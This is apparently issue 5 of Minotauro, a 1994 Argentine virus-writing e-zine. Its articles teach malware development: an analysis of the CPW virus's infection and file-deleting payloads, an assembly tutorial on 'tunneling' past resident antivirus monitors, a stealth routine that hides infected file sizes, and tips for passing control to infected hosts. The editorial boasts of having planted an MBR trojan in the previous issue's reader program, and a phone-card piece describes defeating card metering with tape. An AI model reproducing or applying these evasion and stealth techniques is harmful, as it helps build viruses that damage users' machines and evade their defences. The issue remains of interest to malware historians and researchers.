Home E-Zines Minotauro Minotauro 05

Ultimos Mensajes del Foro

Manual Aleatorio

Seguridad Computacional (PDF)
Libro que trata sobre hacking, cracking, virus y seguridad computacional en general (puede tardar un poco en mostrarse ya que es bastante grande)
Leer más...
Minotauro 05 PDF Imprimir E-mail
Martes, 30 de Noviembre de 1999 01:00
Virus (no tan) Nacionales, Tunneling, Handle Stealth - Update, Virus Programming Tips, Cobertura del Congreso, Tarjetas de Telefonica, Some [DAN] Utilities.....

Texto Completo:
Minotauro Magazine Issue #5                                                
                                                                           
        Long time no see.. Ultimamente hemos recibido varias llamadas de   
LECTORES de Minotauro Magazine, todos contentos con las publicaciones, cosa
que nos da fuerza pa' seguir con las mismas.. Tambien hay mucha gente      
interesada en publicar sus notas, lo que nos obligo a crear un area pura y 
exclusivamente para que Uds, publiquen lo que quieran..                    
                                                                           
ACLARACION IMPORTANTE: No nos hacemos responsables por lo que pueda llegar 
a publicarse en esta secci¢n de la revista..                               
PD: Tampoco por lo de las otras secciones, ok!? Juaaaaa!                   

	Hablando del entorno (?), recibimos varios comentarios de lectores,
dudando de nuestra honestidad, refiriendose al ejecutable del entorno que
mandamos en el numero anterior :-) Juaaaaa. Lo unico que les puedo decir es
que tenian razon, el entorno les instalaba un troyano en el MBR que surgia
efecto cuando se cerraba el archivo MINOTAUR.005 asi que... Jejeeeeeee. go!
Debido a esto, hemos sacado de circulacion el ejecutable del entorno, pero
en cualquier momento vuelve con algunas mejoras...

        Cambiando de tema, como todos ya sabran, el fin de semana no_se_cuanto
de Octubre, se realiz¢ el "Primer Congreso Internacional de Hacking, Virus y 
Computer Underground" donde varios de nosotros, fuimos invitados de honor y  
formamos parte de las mesas de debate. Y bien dije FUIMOS, porque no creo  
que jamas nos vuelvan a llamar Juaaaaa!!! Bostandante, de onda viejo! :-)  
                                                                           
        Ya que tocamos el tema, hagamos una peque¤a rese¤a cronol¢gica de  
lo que all  sucedi¢.. Juaa! me acuerdo y me da risa ;-) Dia Viernes, un    
cacho despues de que se inaugur¢ el Congreso, un matafuegos no identificado
hizo su aparicion entre los espectadores.. y evidentemente acalorado por el
tufo impresionante de toda esa muchedumbre, se puso en funcionamiento      
"accidentalmente" (Juaaaaaaa) y demostro funcionar perfectamente.. :-)     
Una vez recuperados todos de este incidente, y luego de ver al organizador 
(Fernando Bostandante por si no lo sabian) barriendo los restos del        
matafuegos, nos preparabamos para ver el match Ludwig-Lapidario a 11 rounds
por el titulo de Mr. Carisma 1994 Jejejeje.. Los demas participantes de la 
mesa, yo (Drako) y Emmanuel Goldstein tuvimos casi la misma participacion. 
(Teniendo en cueta que Goldstein ni aparecio por la mesa :-)               
Igualmente hay una nota de cobertura sobre todo el Congreso en si, asi que 
dejo las conclusiones pa' mas adelante..                                   
                                                                           
        Hablando del Congreso y Minotauro (?) solo les podemos decir       
una cosa, que nos deben unos 0 a modo de reposicion de discos de baja,  
portadores de los primeros numeros de las mino pal' publico no modemeano.  
                                                                           
        Repetimos los bbs donde el staff puede ser contactado, por dudas,  
sugerencias, etc, menos criticas, ok!?                                     
                                                                           
        Dionysios I BBS:      +54-1-253-4389 (23hs a 09hs GMT-3)
        Dionysios II BBS:     +54-1-253-2098 (23hs a 09hs GMT-3)
                                                                           
        Ahora a la revista en s¡:                                          
                                                                           
        Editorial (Drako) ......................................... 000    
	Virus (no tan) Nacionales, hoy: CPW ....................... 001    
        Tunneling (Trurl) ......................................... 002    
        Handle Stealth - Update (WM’) ............................. 003    
        Virus Programming Tips (Drako) .............................004    
        Cobertura del Congreso (Morgan) ........................... 005    
        Tarjetas de Telefonica (J.Von Neumann & Bugs Bunny) ....... 006    
        Some [DAN] Utilities ...................................... 007    
                                                                           
Atentamente, Drako [DAN]
                                                   
Minotauro Magazine Issue #5                                                
                                                                           
                       Producci¢n (no tan) Nacional                        
                                Virus CPW                                  
                         (Unasm y Texto) Por Trurl                         
                                                                           
     Para complementar un poco la hilarante nota del amigo Wma en el n£mero
anterior de nuestra revista, pensamos que seria buena idea proveer a       
nuestros lectores del source de este virus, mas una peque¤a rese¤a t‚cnica 
que aclare algunos puntos que no quedaron muy claros en la nota de Virus   
Report. (Y que son bastante divertidos, osea, las rutinas de activaci¢n).  
     Por ende, he aqu¡ Nuestra rese¤a t‚cnica sobre el virus CPW, del      
hermano pa¡s de Chile (como se suele decir :-)), y el source del virus,    
para que ustedes puedan juzgar "the real thing".                           
     Ya que estamos, aprovecho para mandar un saludo a todos los autores de
virus (y hackers) chilenos, que seguramente no nos est n leyendo, ya que   
esta revista solo va a cruzar la cordillera cuando nos deporten las        
autoridades (o tengamos que huir de ellas :-)). Como sea, si alg£n d¡a     
llega, saludos.                                                            
     No hace falta aclarar que todo esto solo corresponde al CPW, NO al    
CHME, que en todo caso mandaremos en otro n£mero.                          
                                                                           
% El CPW %                                                                 
	  Para decirlo en buen romance, este virus es, b sicamente, un     
infector de COM/EXE residente.                                             
     Tiene la particularidad de ser un "fast infector", tal como nosotros  
llamamos a este tipo de virus, que se reproducen a trav‚s de varias        
funciones, no solo la cl sica 4B. En el caso de este virus, lo hace tambi‚n
con la funci¢n 3D00 (abrir para lectura), y la 43 (cambiar atributos). Como
estas funciones no difieren en el pasaje de par metros (en todas el nombre 
del archivo en cuesti¢n viene en DS:DX) se hacen todas las infecciones con 
la misma rutina.                                                           
     Otros detalles son que infecta READ ONLY, no modifica la fecha del    
file al infectar, y no produce error al infectar en un diskette            
write-protected (intercepta INT 24 al infectar, bah).                      
     El virus ocupa 1459 bytes, y queda en memoria con 2000 bytes. (no usa 
nunca esta heap). El m‚todo de residencia que usa es la ya cl sica         
manipulaci¢n de MCB, aunque el c¢digo que usa para hacer esto es poco      
convencional.                                                              
     Una ultima observaci¢n interesante es que, por el dise¤o de la rutina 
de infecci¢n, el virus no infecta COM de extensi¢n .EXE (En mi opini¢n,    
esto se le "escapo" al autor, se equivoco en un JMP). Me imagino que esto  
es lo que lleva a decir al de Virus Report que la efectividad del virus es 
de "98%" (Se ve que ese 2% son los COM de extensi¢n .EXE que el tipo       
escaneo, ya que ese es el £nico tipo de file que no infecta).              
                                                                           
% Activaci¢n %                                                             
     El virus tiene, en realidad, 3 rutinas de activaci¢n, a saber:        
     1) Si es 27 de mayo (como ver n la fecha esta BASTANTE bien           
determinada), imprime el mensaje "Feliz cumplea¤os CPW!", y cuelga la      
maquina. (Este disparador esta en la INT 21h)                              
     2) El virus instala una rutina en la INT 16h que aproximadamente a la 
1PM (13 hs) y a las 12 de la noche (0 hs) y durante mas o menos 1 minuto   
(seg£n los c lculos de este humilde cronista), reemplaza todos los         
caracteres que se entran desde teclado, por una string de 18 (12h)         
caracteres que se repite, y que es: " You are here CPW!". Cuando pasa ese  
minuto, todo vuelve a la normalidad. Esto no implica (como dice en la nota 
de Virus Report err¢neamente) que el texto sea mostrado por pantalla, sino 
que sencillamente, el texto entra como si fuera tipeado desde teclado. Que 
pasara con el a continuaci¢n depende del trato que haga el programa que se 
este ejecutando en ese momento con esos caracteres. Pueden salir a pantalla
(si uno esta en un procesador de texto, p.ej.) pueden ser interpretados mal
(como caracteres de control de alg£n programa que reaccione, p.ej. al      
car cter "A"), o aun ignorados por completo (esto pasa en la mayor¡a de los
juegos con mouse :-)). Esto reduce aun mas las probabilidades de que       
alguien que NO desensamblo el virus note realmente cuando y como "sucede"  
esta string.                                                               
     3) En la misma rutina de INT 21 (en el medio de la infecci¢n) el virus
chequea si el nombre del programa en cuesti¢n (ejecutado, abierto, etc)    
contiene una substring de : "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS".    
Cuando digo "el nombre" me refiero a todo lo comprendido entre el punto y  
la ultima barra (de "C:\DOS\PROG.COM", seria "PROG"). Por lo tanto, se     
dispara con varios antivirus conocidos (CPAV, SCAN, CLEAN) como con otros  
no tan conocidos (FINDVIRU, VIRUSCHK) o incluso con cualquier otra         
substring posible que no tenga nada que ver (NDV, HKVI, o cualquier otra   
verdura que quieran). Al activarse esto, lo que sucede es que el file en   
cuesti¢n es borrado (via AH=41/INT 21). Simp tico :-).                     
                                                                           
% en conclusi¢n... %                                                       
     El virus esta bien escrito, no tiene c¢digo muerto, y esta bastante   
bien estructurado (relativamente f cil de entender), y mas o menos         
optimizado. Las rutinas de activaci¢n son bastante divertidas. En fin, un  
lindo virus, y ya estoy podrido de sanatear, as¡ que ac  va...             
                                                                           
% SOURCE %                                                                 
;---------------------- Cut Here ------------------------------------------
; Source del CPW en: CPW.ASM                                               
;---------------------- Cut Here ------------------------------------------
                                                                           
     Bueno, cortar, pegar, ensamblar, etc. Lo comente tanto como pude, si  
les parece poco, preg£ntense porque el comentario de "openfile:" es "esta  
rutina abre el file", y saquense el helado de la frente. Ah, y ojo con lo  
del byte-a-byte match, lo tuve que fixear un poco porque el autor uso unos 
LEA DX, [directo] (sin registro) para cargar DX, en vez de usar MOV, y como
ocupan mas, el TASM los hace MOVs (y otras cosas...). Saludos y hasta el   
pr¢ximo virus...                                                           
                                            Trurl el gran constructor [DAN]Minotauro Magazine Issue #5                                                
                                                                           
                                   Tunneling                               
                                   Por Trurl                               
                                                                           
% Introducci¢n: T‚cnicas de protecci¢n %                                   
     Cuando uno hace virus se topa con tres tipos de conocimientos         
referentes a como hacerlos: T‚cnicas de reproducci¢n, T‚cnicas de Ataque y 
T‚cnicas de protecci¢n. Las t‚cnicas de ataque son las que permiten al     
virus mostrar su presencia (o da¤ar), y no son muy interesantes, y la      
mayor¡a de virus no las usa. Las t‚cnicas de reproducci¢n incluyen todos   
los conocimientos relacionados con como y cuando infectar ("como infectar  
EXE", "Como hacer un fast infector" etc) que son tratadas en otros         
art¡culos de esta ilustre revista :-).                                     
     Las t‚cnicas de protecci¢n apuntan a proteger el virus de sus         
"enemigos naturales": El usuario observador y El Antivirus. El Usuario     
Observador amenaza la vida del virus d ndose cuenta de su existencia en el 
sistema (para luego sacarlo). Algunas t‚cnicas de protecci¢n, entonces,    
apuntan sencillamente a hacer la presencia del virus poco visible, y un    
ejemplo de esto es el Directory-Stealth, t‚cnica que consiste sencillamente
en ocultar el size de los archivos infectados en el comando DIR.           
     El Antivirus, segundo enemigo natural, amenaza la vida del virus      
d ndose cuenta de la presencia del virus y avisando al usuario. Existen    
muchos tipos de t‚cnicas usadas para enga¤ar al Antivirus, entre ellas el  
stealth y el Tunneling.                                                    
                                                                           
% Tunneling %                                                              
     El tunneling apunta a proteger al virus de los m¢dulos residentes de  
los antivirus, que monitorean todo lo que sucede en la maquina para        
interceptar todas las actividades "t¡picas" de los virus.                  
     Para entender como funciona esta t‚cnica, basta saber como trabaja    
este tipo de antivirus. El modulo residente queda colgado de todas las     
interrupciones usualmente usadas por los virus (INT 21, INT 13, a veces INT
25 Y 26) y entonces cuando el virus intenta llamar a INT 21, por ejemplo,  
para abrir un ejecutable para lectura/escritura (y luego infectarlo), el   
antivirus chilla, pues los ejecutables no son normalmente abiertos, ni     
menos para escritura. Y as¡ con todas las llamadas t¡picas de los virus. En
cambio, cuando se hace una llamada com£n y corriente, el antivirus no      
chilla y la deja pasar, llamando a la INT 21 original.                     
     Un virus con tunneling, entonces, antes de llamar a ninguna funci¢n ni
hacer nada, intenta obtener el address absoluto de esta INT 21 original,   
que esta en alguna parte de la memoria del antivirus residente. Una vez que
obtiene este address, accede al DOS por medio de el, sin llamar al         
antivirus. Y as¡, efectivamente, le "pasa por debajo", lo "tunelea". ¨Como 
se hace esto?                                                              
                                                                           
% Tipos de tunneling %                                                     
     Existen dos formas fundamentales de obtener este address. La primera, 
y la mas usada, es utilizando la interrupci¢n de trace (INT 1) y la trap   
flag. (Que son usadas por los DEBUGGERS) para atravesar el c¢digo orden a  
orden hasta hallar lo que se busca. La segunda, hacer un simple y llano    
scanning del c¢digo, byte a byte, hasta hallar el address.                 
     La primera forma de tunneling es usada por todos los virus que usan   
esta t‚cnica, como por ejemplo, el Predator II o el (ya viejo) Yankee      
Doodle. La segunda no se usa en ning£n virus, pero es la que usa Kohntark  
en su celebre Kohntark Recursive Tunneling Toolkit. Pasemos a los detalles 
t‚cnicos...                                                                
                                                                           
% La referencia %                                                          
     Antes de ponerse a buscar, por cualquiera de los dos m‚todos, es      
necesario obtener el segmento del DOS, para poder ir comprobando a medida  
que se encuentren addresses si son o no el de la INT 21. Hay varias formas 
de obtener el segmento de DOS antes de empezar a "tunelear". Una de ellas  
es obtener las INTs internas del DOS y ver cual es su segmento (Usada en la
KRTT). Otra es llamar a la funci¢n (no documentada) del sistema, funci¢n   
1203h, interrupci¢n 2Fh. El Yankee Doodle sencillamente considera que todo 
segmento menor a 300h es el de la INT 21. Todos estas formas son validas,  
con sus pros y sus contras, a saber:                                       
     Ints internas: El obtener los segmentos de las INTS internas es seguro
en la mayor¡a de los casos, pero ¨que pasar¡a si estos segmentos son       
distintos entre si? Esto querr¡a decir que alguna de las INTs fue capturada
por alg£n programa, y no se podr¡a tunelear. Y lo que es peor, podr¡a      
suceder que TODAS las ints internas del dos estuvieran capturadas, con lo  
cual el virus considerar¡a que el segmento del DOS es el segmento del      
programa que capturo las INTS sin darse cuenta de nada! (Fatal! ARGH!)     
     Funci¢n 1203, INT 2F: Esta es una funci¢n No-Documentada del DOS, que 
retorna el DS del sistema. Un punto en contra es precisamente que sea no   
documentada, ya que podr¡a dejar de aparecer en futuras versiones de DOS.  
(Adem s podr¡a ser capturada, aunque no lo creo, porque es interna).       
     Segmento DOS < 300: Es efectiva, pero podr¡a suceder que en           
determinadas configuraciones fuera mayor a 300. Es un dato "de hecho", en  
ning£n lugar esta documentado, pero siempre es menor. Sin embargo, quien   
sabe en futuros DOS, en futuras configuraciones, lo que podr¡a pasar.      
     Ahora veamos, esas t‚cnicas...                                        
                                                                           
% Trace Tunneling %                                                        
     Para entender la primera t‚cnica basta una breve explicaci¢n de como  
funciona un debugger. Para hacer un sencillo trace, en un debugger ('T' en 
DEBUG y F7 en Turbo Debugger) primero se prende la "trap flag". Esta flag  
es el primer bit del byte mas alto del registro de flags (flags=100h). No  
hay ordenes para prenderla, por lo que se lo debe hacer manipulando un     
poco. Este c¢digo enciende la flag:                                        
          pushf                                                            
          pop ax                                                           
          or ax, 100h                                                      
          push ax                                                          
          popf                                                             
     Cuando esta encendida esta flag, cada vez que se ejecuta una          
instrucci¢n, la INT 1 es llamada. Entonces el DEBUGGER tiene interceptada  
esta interrupci¢n, y manipula todo para suspender la ejecuci¢n y volver al 
debugger. De este modo, se ejecuta UNA instrucci¢n y se vuelve al prompt   
del debugger.                                                              
     ¨Como sirve esto al tunneling? Pues es sencillo: el virus enciende la 
trap flag y llama a la INT 21 (osea, al antivirus que esta colgado de la   
int 21 :-)). Y recordemos que al llamar a una INT (la INT 1 en este caso,  
que es llamada luego de ejecutada cada instrucci¢n) quedan en la stack seis
bytes: las flags, y el CS:IP de retorno. La rutina de INT 1 del virus se   
fija cada vez que es llamada en ese CS que queda en la stack, y si es igual
al del DOS (que tiene de antes), entonces apaga la trap flag y guarda el   
CS:IP, pues este es el addres de la INT 21 "posta". Y el laburo ya esta    
hecho...                                                                   
     He aqu¡ una rutina basica y tipica de INT 1 para tunneling:           
NewInt1:                                                                   
     push bp                                                               
     mov bp, sp                                                            
     push dx                                                               
     mov dx, cs:DosSegm                                                    
     cmp [bp+6], dx                                                        
     jz Found                                                              
     pop dx                                                                
     pop bp                                                                
     iret                                                                  
Found:                                                                     
     mov dx, [bp+6]                                                        
     mov cs:OldInt21+2, dx                                                 
     mov dx, [bp+4]                                                        
     mov cs:OldInt21, dx                                                   
     pop dx                                                                
     pop bp                                                                
     add sp, 6                                                             
     ...                                                                   
                                                                           
% Flaquezas del trace tunneling %                                          
     El problema mayor del trace es que REALMENTE se esta ejecutando el    
c¢digo del antivirus. Esto da lugar a muchos problemas, como por ejemplo,  
que el antivirus deshabilite interrupciones con CLI o poniendo a OFF la    
TRAP FLAG. O que reemplace la rutina en INT 1 por una rutina "dumb".       
     Otro tema es que el trace no inspecciona las INTs por adentro. Es     
decir, ejecuta la INT, pero no la tracea. Por ejemplo:                     
     mov ax, 1 ; ok, trace                                                 
     mov bx, 2 ; sigue el trace                                            
     int 25h   ; pero ac  no tracea la int 25 por adentro, sino            
     nop       ; que viene ac , al NOP.                                    
     Esto hace que si el antivirus redireccion¢ la INT 21 a otra INT sin   
usar, y la usa llamando a esta nueva INT, te jode. (Por ejemplo, copio el  
addres de INT 21 a INT 60, y llama a INT 60 para hacer sus llamadas).      
     Cabe observar, sin embargo, que en principio uno tiene cierto control.
Uno podr¡a fijarse, desde la rutina de INT 1, si la pr¢xima orden es un CLI
y saltearlo. Pero esto deberia hacerse con un mont¢n mas de otras cosas, y 
presumiblemente ocasionar¡a que la maquina se cuelgue en muchos casos. (Por
ejemplo, saltearse un CLI hecho antes de que se haga un cambio de stack    
seria fatal)                                                               
                                                                           
% Byte-to-Byte scanning: KRTT %                                            
     El KRTT es el £nico en el caso de scanning byte-a-byte. Este consiste 
en sencillamente en buscar byte a byte hasta encontrar instrucciones que   
entreguen el control a rutinas remotas (FAR). Osea, se scanea buscando los 
c¢digos maquina de las siguientes instrucciones:                           
     JMP FAR XXXX:XXXX   ; (n¢tese que estos no son las £nicas)            
     CALL FAR XXXX:XXXX  ; (instrucciones para pasar el control)           
     CALL FAR CS:VVVV    ; (a rutinas FAR. Es una de las)                  
     JMP FAR CS:VVVV     ; (flaquezas del KRTT)                            
     Cuando se encuentran estos c¢digos-maquina, se toman los addreses a   
los que se quiere pasar el control, y se compara con el segmento del DOS.  
Si son iguales, se encontr¢ la INT 21 original. Si no, se sigue scaneando  
desde ah¡.                                                                 
                                                                           
% Flaquezas del scaning byte a byte %                                      
     Parece muy sencillo, pero la rutina, necesariamente, tiene que ser    
recursiva. Adem s, tiene el problema de que se scanea siempre hacia        
adelante, y no se sigue el flujo de control; (seria f cil seguirlo si se   
encuentra un JMP NEAR o CALL NEAR, pero ¨que hacer con un JZ o cualquier   
otro condicional?) esto produce que si el JMP o CALL a la int 21 se        
encuentra ANTES del punto de entrada de la INT del antivirus, el tunneling 
falla.                                                                     
     Adem s hay otras formas de entregar el control a una rutina remota,   
como por ejemplo: con RETF. Seria _muy_ dif¡cil, por no decir imposible,   
que un tunneling con scaning pudiera seguir con ‚xito QUE esta pasando en  
la stack, como para poder considerar un RETF. En el KRTT ni siquiera esta  
contemplado, y sin embargo es tan f cil entregar el control con RETF...    
     Y otra fuerte falla del scanning byte a byte es que si por casualidad 
pasa sobre una zona de datos, que por una de esas cosas del destino        
contiene, como dato, el c¢digo binario de una de las instrucciones de      
entrega de control, el scanning la tomar¡a como instrucci¢n, aunque es     
dato. Esto es imposible de evitar en este tipo de tunneling.               
                                                                           
% Problemas Generales del Tunneling %                                      
     Pero el problema principal del tunneling es que aun teniendo ‚xito en 
obtener la INT 21 posta, se pueden tener problemas si hay alg£n residente  
importante y uno lo esta pasando por debajo. Es famoso ya el caso del      
Predator II y el DoubleSpace. El predator II tuneleaba por debajo del      
DoubleSpace y trataba de acceder al disco directamente por DOS. Esto       
produjo que trasheara mas de un disco (:-)). En definitiva, esto es        
contrario a las intenciones del tunneling, pues el usuario no necesita que 
el antivirus le diga que tiene virus: se da cuenta solo al ver que su disco
esta hecho pur‚. (JA!).                                                    
                                                                           
% Conclusi¢n %                                                             
     Espero que les haya sido de utilidad. El tunneling es una t‚cnica     
bastante buena, y al mismo tiempo sencilla (mucho mas sencilla que         
polimorfismo o stealth, por ejemplo), y sin embargo no es tan usada. ­Vamos
muchachos, p¢nganse las pilas, que con 50 bytes tienen un tunneling (medio 
truch¢n, pero bueno :-))!                                                  
     Para ayudarlos, les prometemos los sources de la KRTT, y del Yankee   
Doodle, comentados, para que tengan buenos ejemplos. Y por ahi, tambien el 
del Predator II.                                                           
     Hasta la pr¢xima...                                                   
                                                Trurl, el gran constructor.Minotauro Magazine Issue #5                                                
                                                                           
                           (New) Handle Stealth                            
                          Code Optimization - WM’                          
                                                                           
Bueno, en la Minotauro #4 vimos como hacer el handle stealth o Norton      
Commander Stealth como le gusta poner a Drako ;).                          
Pero ete aqu¡ que se nos pas¢ una hermosa instrucci¢n que reduce el codigo 
de la rutina en  bytes.                                            
                                                                           
La idea es que en vez de hacer todo ese desastre de toquetear el stack para
devolver correctamente los flags, directamente desapilemos del mismo stack 
2 words nada mas, o sea desapilamos solamente CS:IP para volver a la rutina
que nos llam¢ y los flags que se pasan son los actuales sin necesidad de   
tanto l¡o (ay, me puse en delicado. ;)).                                   
                                                                           
Bueno, sin mas que decir (porque se que a uds. sanguijuelas les interesa   
solo el c¢digo y ni leen para entender como funciona ;)) les dejo el c¢digo
del (New) Handle Stealth.                                                  
;---------------- Cut Here ------------------------------------------------
                                                                           
                                                                           
;==========================================================================
;                 (c) Digital Anarchy Viral Development                    
;==========================================================================
handle_stealth:                                                            
               pushf                           ; (Pctools, Norton etc)     
               call cs:old21                   ; dale int 21h..            
               jc handle_back                  ; puaj error!.              
                                                                           
               push ax bx es                   ; Guardamos Registros       
                                                                           
               mov ah,2fh                      ; pedimos DTA               
               int 21h                                                     
                                                                           
               mov ax,es:[bx+16h]              ; tomamos hora del file     
               and ax,1fh                                                  
               xor al,1eh                      ; seg a 60?                 
               jne handle_pops                 ; no, no esta infectado     
                                                                           
               sub word ptr es:[bx+1ah],virlen ; le restamos al filesize   
               sbb word ptr es:[bx+1ch],0      ; el tama¤o del virus       
                                                                           
handle_pops:   pop es bx ax                    ; Restauramos Registros     
                                                                           
handle_back:   retf 2                          ; desapilamos CS:IP         
                                                                           
                                                                           
;---------------- Cut Here ------------------------------------------------
                                                                           
                                                     Por WM’ [DAN]         Minotauro Magazine Issue #5                                                
                                                                           
                            Virus Programming Tips                         
                           Jumping to host by Drako                        
                                                                           
        Bienvenida. listo. Esta nota mas que nada intenta ser de utilidad  
por su contenido te¢rico que por su contenido pr ctico (lease c¢digo...)   
No se cuanto puedo llegar a tardar en explicar esto, pero no importa:      
                                                                           
        Imag¡nense Uds. en el punto final de un virus polim¢rfico, Full    
Stealth impresionante :-) y su virus es "detectado" por alg£n programa que 
nisiquiera tiene la intenci¢n de hacerlo. Uds. se querran matar.. A lo que 
voy es a lo siguiente: Uds. anteriormente (o quizas ya lo habian notado y  
NO NOTIFICADO :-)) le pasaban el control al host, en un COM digamos, de la 
siguiente manera:                                                          
                                                                           
        CALL RESTITUIR_PRIMEROS_BYTES                                      
        MOV AX, 0100h                                                      
        JMP AX                                                             
                                                                           
        Esto de CALL RESTITUIR.... ya se imaginaran que es.. (es pa'       
restaurar los primeros bytes en memoria del host, ok!?).. Bueno, el        
problema con este codigo es que, para el momento que se le da el control   
al host o anfitri¢n, AX llega con el valor de 100h y no es justamente el   
valor predefinido para el momento inicial de la ejecucion de un file.      
Cuando Uds. debugean algo, todos los registros generales comienzan en 0000,
pero en realidad cuando ejecutan algo desde DOS, no es asi.. Cada registro 
contiene un dato (los cuales no tengo diponibles en este momento) que es   
pasado al programa.. Por ejemplo en AX, se pasa el tama¤o del string de la 
linea de comandos.. Lo mismo que en el offset 80h del PSP.                 
Datos como estos se los facilitaremos en el proximo numero para que saquen 
sus propias conclusiones y/o tecnicas :-)                                  
Pero a ciencia cierta, les decimos que antes de darle el control al host,  
limpien AX, y salten al 100h por otro lado (hasta ahora nunca tuve dramas):
                                                                           
        CALL RESTITUIR_PRIMEROS_BYTES                                      
        XOR AX, AX                                                         
        PUSH 0100h                                                         
        RET                                                                
                                                                           
        Quiero aclarar que no queremos un pulitzer por esta nota, que solo 
la pusimos al efecto de salvarles colgadas inexplicables en algunos        
archivos infectados, como por ejemplo el DISKCOPY.COM, XCOPY.EXE,          
DISKCOMP.COM todos del DOS. Hagan una prueba, intenten infectarlos con sus 
virus actuales y vean lo que pasa :-)                                      
No estamos diciendo que no se hayan dado cuenta, pero..... Jajajaja        
                                                                           
                                             Drako [DAN]                   Minotauro Magazine Issue #5

			     Cobertura del Congreso
                                   by Morgan                                         
                                                                           
        Nunca est‚n cerca del editor de este Magazine cuando le falte una  
        nota, por que les puede pasar como a m¡: me encaj¢ la nota sobre   
        el congreso. { Primer Congreso Internacional, Interplanetario e    
        Intergal ctico de Virus (aghh...), Hackers (uggg) y Computer Under 
        ground (berph..) }                                                 
                                                                           
        Cosa totalmente in£til. Si estuvieron lo vieron y sino lean la V.  
Report y creanle todo y listo!! En realidad no miente (mucho). Para el que 
es de Capital Federal o cerca o se comunica seguido con BBSs under o       
masomenos, no hubo gran cosa para ver. Ahora para el que vive lejos (en    
hard o soft) de estos pagos, de pronto conocer a un autor de virus o a     
algui‚n que te hable de phreaking, puede valer un toco (tanto que          
justifique el viaje). Conocimos un brasile¤o que se fue recontento y eso   
que ellos tienen hasta Internet en varias escuelas de San Pablo. Para los  
locales vali¢ como encuentro social, para conocerse unos a otros; muchos ya
se mensajeaban en los BBS y otros se conocieron ah¡. Tambi‚n sali¢ la idea 
de una red de BBS unders que a£n no se concret¢ porque los Sysops est n muy
ocupados (¨Qui‚n es el boludo que pregunt¢ en que...?) Paciencia!! Para los
del resto del pa¡s supongo que vali¢ como un empuj¢n. Vieron que en la     
Argentina SE PUEDE. Espero ver virus misioneros o blueboxers neuquinos.    
                                                                           
        De los que hablaron, dividamos en nacionales e importados. Los     
nacionales como eran la primera vez, estaban un poco achicados y por eso no
contaron mucho de todo lo que saben. Tampoco le preguntaron mucho en       
realidad, porque el p£blico estaba bastante mezclado (lleno de lammers,    
bah). Pero algunos saben lo que quieren y la pr¢xima ROBAN!!. Hubo         
excepciones, claro: por ejemplo Lapidario, que te guste o no como piensa,  
las dice de frente. O Azrael al que le toca hacer del malo de la pel¡cula  
(y lo disfruta). Eso s¡, la pr¢xima no los empujo, as¡ que Trurl y         
Zarathustra suban s¢los !!                                                 
                                                                           
        De los importados, realmente no obtuvimos un carajo. Pero es       
l¢gico, es una cuesti¢n de edad. La generaci¢n de ellos (que es la m¡a, por
eso lo se), hizo el Mayo franc‚s, el Flower Power, el amor libre, los      
porros, el LSD. Inventaron el Hacking, el Prheaking, el Viruking y las     
computadoras tambi‚n. Pero hoy son unos qu¡as medio dolapes, que ya no     
quieren guerra al pedo. Vinieron a hacer la suya; un poco de turismo,      
explotar un nombre, la parla y a promover lo de ellos (2600, los CD, etc). 
Son cancheros, no hay duda, pero por ellos no se justifica tanto bardo. El 
mejor el holand‚s: simp tico y sin agrandes. Pero igual nos muestra que    
pasaron a la legal:                                                        
                                                 ¯ Ahora venden Internet!!®
                                                                           
        Del p£blico, digamos que era mucho..... De la organizaci¢n, que era
poca (pero como es la primera vez vale!). Que el organizador de un Congreso
under no se juega? Y bueno quien te manda a ir a un congreso que organiza  
VR !!. Esper  al congreso de Minotauro (JUAAAAAAAAAAAAAAAAA !!)            
                                                                           
       De la Prensa escrita y televisiva: Que PELOTUDOS !!!!!!!!!!!!! Por  
culpa de ellos ahora cuesta m s caro comprar gatos negros para             
sacrificarlos y comerlos crudos y rociar con su c lida sangre la pantalla  
de monitor. En un pr¢ximo n£mero les prometo RECETAS para preparar comidas 
bien condimentadas (Black Cat a la Int 2Fh, Fried Can cerbered, Pollo de   
Drag¢n undocumented, Darkie crudo avec DAN, etc).                          
                                                                           
        De los muchachos de gorra Azul: Se van de pico. Tanto que iban a   
arrestarnos a todos los del congreso y s¢lo mandaron un par de buchones a  
vigilantear.                                                               
                                                                           
        Por £ltimo los BBS: No pueden imaginar la cantidad que han llamado 
a los BBS que anotaron en la pantalla del congreso. Algunos son tipos      
piolas, que te hacen decir: ah.., el congreso vali¢ la pena. ­­­ Y dos     
millones de lammers que piden chat, te preguntan como hacer un virus y no  
saben que es el debug. Conozco un Sysop que dijo: " Me Suicido..." y agarr¢
el manual del Programador en Visual Basic !!!                              
                                                                           
        As¡ que si es la primera vez que leen esta revista y llaman a los  
BBS, plis no pidan chat. Palmense las areas de mensajes primero y despues  
charlen.                                                                   
                                                                           
        Y como no tengo m s ganas de escribir, espero que le haya quedado  
todo muy, pero MUY claro. Esperen al pr¢ximo Congreso. JA!!                
                                                                           
                                     Morgan [DAN]                          Minotauro Magazine Issue #5

                             Tarjetas Telef¢nicas
                               (Primera parte)
                   by J. Von Neumann & B. Bunny (c) 1994 [DAN]

( Este estudio esta basado en las tarjetas de la empresa Telef¢nica de
  Argentina, por ser la que opera en nuestra zona de influencia.)

Uno de los primeros aportes tecn¢logicos que trajo la privatizacion de ENTel, 
fue la instalacion de nuevos telefonos publicos, los cuales funcionaban 
mediante una tarjeta magnetica, en la cual se grababa la cantidad de credito 
disponible; y a medida que se usaba, el telefono actualizaba la informacion. 
Este sistema fue sacado de circulacion en muy poco tiempo, ya que las tarjetas 
eran muy faciles de cagar. La viveza criolla descubrio que poniendole una cinta
Scotch sobre la banda magnetica, el telefono podia leer la cantidad de pulsos, 
pero a la hora de grabar no generaba el sufuciente campo como para atravezar 
la cinta.
El siguiente paso fue la instalacion de las tarjetas 'chip', motivo del 
presente articulo.

Basicamente, una tarjeta chip esta compuesta por una memoria tipo prom de 
acceso serial. Una memoria prom es un conjunto de fusibles, los cuales se 
queman o se dejan intactos para hacer los '1' o '0' logicos. Una vez que un 
fusible es quemado, no puede volver a restaurarse.
Cuando uno ingresa una tarjeta en un telefono, este, luego de hacer una serie 
de chequeos para validar la tarjeta, cuenta cuantos fusibles quedan sin quemar 
del total; y a cada pulso que pasa, quema uno. Como una vez que un fusible es 
quemado NO se puede volver a restaurar, es IMPOSIBLE recargar la tarjeta.

Las tarjetas chip poseen una memoria de 256 bits, o sea, 256 fusibles, 
numerados de 0 a 255. Tambien poseen una entrada de clock, que sirve para 
elegir que fusible se quiere leer o quemar.
El resto de las patas son la de entrada y/o salida de datos, la de reset, 
alimentacion, y control de lectura y grabacion.
